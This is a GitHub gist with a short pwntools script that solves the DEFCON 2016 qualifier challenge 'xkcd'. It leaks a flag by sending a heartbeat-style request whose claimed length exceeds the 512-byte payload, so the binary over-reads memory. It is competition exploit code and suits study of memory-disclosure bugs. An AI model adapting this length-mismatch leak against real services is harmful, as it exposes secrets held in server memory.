Created
August 20, 2017 17:35
-
-
Save 0xPwny/94f631d3b7e2aab181b1e2a066859692 to your computer and use it in GitHub Desktop.
DEFCON quals 2016 - xkcd
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
r = process("./xkcd") | |
#raw_input("attach$ ") | |
def key(value,size): | |
sen = "SERVER, ARE YOU STILL THERE? IF SO, REPLY \"{}\" ({} LETTERS)".format(value,size) | |
return sen | |
def exploit(data): | |
r.sendline(data) | |
print "flag is : "+r.recvuntil("\n")[512:] | |
data1 = "A"*512 | |
size1 = len(data1)+19 #buff length + flag length size | |
exploit(key(data1,size1)) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment